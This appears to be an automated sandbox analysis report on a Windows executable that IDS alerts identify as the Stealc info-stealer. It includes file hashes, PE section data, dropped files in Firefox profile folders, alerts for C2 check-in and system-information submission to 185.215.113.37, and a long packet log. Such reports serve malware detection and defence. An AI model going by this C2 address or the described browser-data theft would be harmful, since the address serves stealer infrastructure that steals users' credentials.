SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947382588435518
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'832'960 bytes
MD5:	5cfbe0da0b40bbeb190147dfcc81172a
SHA1:	c3c14be27aee42fc6389ce2a4f2f2f89d7a05908
SHA256:	8c3c66bd7526e3d3ed957c00536ad3968ba6ac9aaa0a5d2c2016bd195b698be2
SHA512:	584a8ed79f73cb3bd0aa1a9243aab48358ce77ee35076ab0fbe0a292d1a3fafc53d39526c9734b2ede35afd1715fe7bf0e13f86ad124473aa52a3935b69cb08c
SSDEEP:	49152:2mc0E71r0ek93xEJYEb6jQ2I+j+RMhXCkOR0FVH9:2mcPdeDUY6du+RMhVlFVH9
TLSH:	C68533984BAF75C1D64E8CF09327B6402D68C244D6CDB63F0F0DA62E8F9BF86E190655
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa93000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F43B8E65AAAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	4d0234f6454f4598e94e87fae7f53d02	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29a000	0x200	66317b6324f10292613f8da72fb000e9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ehszfudg	0x4f8000	0x19a000	0x199600	c53d043e50909382fc62283f9a381a6c	False	0.994777552480916	data	7.9532832439330114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ireczfhs	0x692000	0x1000	0x400	d10c86446c6def227acefd252a1539a5	False	0.6826171875	data	5.52637699372479	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x693000	0x3000	0x2200	9ef8f1ece6bbbc5938a17cbea0c0f63c	False	0.12235753676470588	DOS executable (COM)	1.6158240632642973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-10T10:09:39.603120+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:39.824306+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:39.830954+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.7	49700	TCP
2024-10-10T10:09:40.046936+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:40.054934+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.7	49700	TCP
2024-10-10T10:09:41.330922+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:41.838399+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:48.398272+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:49.422746+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:50.227676+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:51.229720+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:52.949919+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:53.423770+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49700	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 10:09:38.651182890 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:38.656186104 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:38.656259060 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:38.657083035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:38.661977053 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.351628065 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.351900101 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.354717016 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.359517097 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.602065086 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.603120089 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.603904963 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.608724117 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.824187994 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.824207067 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:39.824306011 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.824306011 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.826083899 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:39.830954075 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046781063 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046859980 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046874046 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046892881 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046912909 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046936035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.046936035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.046936035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.046938896 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.046956062 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.047004938 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.047004938 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.047005892 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.050105095 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.054934025 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.477866888 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.478116035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.479257107 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.479365110 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.591160059 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.591562986 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:40.596128941 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.596477032 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.596533060 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.596545935 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.596585989 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:40.596597910 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.330626011 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.330921888 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.620462894 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.625492096 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838345051 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838371992 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838382959 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838396072 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838398933 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838408947 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838418007 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838505983 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838728905 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838830948 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838850975 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838852882 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838869095 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838871002 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838886976 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838891029 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838901043 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.838942051 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838942051 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.838942051 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.839703083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.839920044 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.962454081 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.962510109 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.962541103 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.962588072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.962596893 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.962631941 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.962649107 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.962649107 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.962668896 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.962722063 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.962722063 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963124990 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963160038 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963192940 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963241100 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963241100 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963241100 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963532925 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963567972 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963588953 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963603020 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963624954 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963639021 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963673115 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.963706017 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963706017 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.963731050 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.964299917 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.964350939 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.964385033 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.964417934 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.964433908 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.964433908 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.964452982 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.964580059 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.964580059 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.965197086 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.965231895 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.965282917 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.965284109 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.965317965 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.965352058 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.965380907 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.965399027 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:41.966029882 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:41.968298912 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.086725950 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.086746931 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.086755991 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.086802006 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.086813927 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.086836100 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.086836100 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.086896896 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087009907 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087106943 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087282896 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087321997 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087343931 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087393999 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087567091 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087578058 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087589979 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087601900 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087716103 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087716103 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087913036 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087925911 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087935925 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087959051 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087969065 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087969065 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087981939 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.087985039 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.087992907 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088027000 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.088027000 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.088582039 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088639975 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.088689089 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088700056 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088710070 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088720083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088730097 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088738918 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088748932 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.088769913 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.088769913 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.088787079 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.089633942 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089643955 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089654922 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089664936 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089675903 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089687109 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089696884 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089708090 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.089730024 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.089730024 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.089730024 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.089880943 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.090770960 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090780973 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090790987 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090801954 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090812922 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090822935 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090823889 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.090835094 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090842962 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.090847015 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.090876102 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.090902090 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.091754913 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.091766119 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.091799021 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.091809988 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.091833115 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.091833115 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.091833115 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.091857910 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211179018 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211200953 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211242914 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211245060 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211255074 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211272955 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211281061 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211293936 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211306095 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211323977 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211355925 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211355925 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211479902 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211499929 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211513996 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211520910 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211525917 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211539030 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211544037 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211570024 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211627007 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211687088 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211697102 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211755037 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.211802959 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.211818933 CEST	80	49700	185.215.113.37	192.168.2.7
